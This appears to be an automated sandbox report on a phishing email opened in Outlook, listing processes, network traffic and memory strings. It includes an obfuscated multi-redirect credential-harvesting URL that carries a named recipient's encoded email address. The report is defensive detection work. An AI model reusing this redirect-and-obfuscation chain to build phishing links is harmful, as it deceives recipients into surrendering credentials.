Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.linkedin.com%2Fcompany%2F12915
Source: ~WRS{CB842198-F03A-4178-B2BC-445B461D801A}.tmp.0.dr	String found in binary or memory: https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#about
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#classic-cars
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#contact
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#electric-vehicles
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#faq
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#learn-more
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#modern-supercars
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#privacy
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#services
Source: chromecache_81.7.dr	String found in binary or memory: https://sparksavvy.ru/#terms
Source: chromecache_89.7.dr	String found in binary or memory: https://srs.vtinfo.com/distributor#url=/distributor/KarmaNotes2
Source: chromecache_89.7.dr	String found in binary or memory: https://srs.vtinfo.com/distributor#url=/distributor/KarmaNotes2&actionOption=accountdetail2Tab&a
Source: chromecache_88.7.dr	String found in binary or memory: https://www.cloudflare.com/favicon.ico

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49690
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.17:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.17:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.17:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.60.203.209:443 -> 192.168.2.17:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.60.203.209:443 -> 192.168.2.17:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.17:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.17:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.86.251.27:443 -> 192.168.2.17:49749 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.winEML@19/36@26/12

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\Documents\Outlook Files\~Outlook Data File - NoEmail.pst.tmp

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

File created: C:\Users\user\AppData\Local\Temp\Outlook Logging\OUTLOOK_16_0_16827_20130-20241010T1200060754-6888.etl

Jump to behavior

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\Untitled.eml"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "9481654E-6412-4E74-B834-5C10E5065AFF" "1BE9F5B3-BC09-46F0-B4EC-321D2A6971AA" "6888" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserved=0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1988,i,4881568969463598969,2888429582230236823,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "9481654E-6412-4E74-B834-5C10E5065AFF" "1BE9F5B3-BC09-46F0-B4EC-321D2A6971AA" "6888" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx"	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://nam04.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.tiktok.com%2F%2F%2F%2F%2Flink%2Fv2%3Faid%3D1988%26lang%3Denpihd7s%26scene%3Dbio_url%26target%3Dwww.google.com%2Furl%3Fq%253DIrfT8NMLx6QPaJgv6Z3g%2526rct%253DqsUbQmXhZ93d4gNXIWaR%2526sa%253Dt%2526esrc%253DEgJeLX8CAl11DNSW7pgH%2526source%253D%2526cd%253D9X3EYbyCMUoB46Jqpszn%2526cad%253Dz64Ndl7J844jI5EH33et%2526ved%253D36LRX1krI3rPMEZVSMU2%2526uact%253D%252520%2526url%253Damp%252F%25E2%2580%258Bbay%25C2%25ADrak%25C2%25ADtar%25C2%25ADplaza%25C2%25AD%25C2%25AD.%25E2%2580%258Bco%25C2%25ADm%252Fauth%252Factive%252Fy8E4XKJctWEENyvnBLR6%252FcmFjaGVsLmFuZGVyc29uQGFtZXJpY2Fuc2lnbmF0dXJlLmNvbQ%3D%3D%26source%3Dgmail%26ust%3D1725986149001000%26usg%3DAOvVaw1kdi6SPX1NGpGYFWhG_1Z7&data=05%7C02%7Crachel.anderson%40americansignature.com%7Cea716afa6d36469e78a108dce92d41a9%7C5c02e89ab9684d4e960de62c7cd02766%7C0%7C0%7C638641627826692599%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C20000%7C%7C%7C&sdata=UMW01VeNOABdw6sIGnj5zpPinQYedujNvCzkhwwtiOg%3D&reserved=0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1960 --field-trial-handle=1988,i,4881568969463598969,2888429582230236823,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: c2r64.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Section loaded: gpapi.dll	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Classes\Wow6432Node\CLSID\{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\InprocServer32

Jump to behavior

Source: Google Drive.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.6.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Window found: window name: SysTabControl32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Persistence and Installation Behavior

AI detected landing page (webpage, office document or email)

Source: Email	LLM: Page contains button: 'COnfirm Credentials' Source: 'Email'
Source: Email	LLM: Email contains prominent button: 'confirm credentials'

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
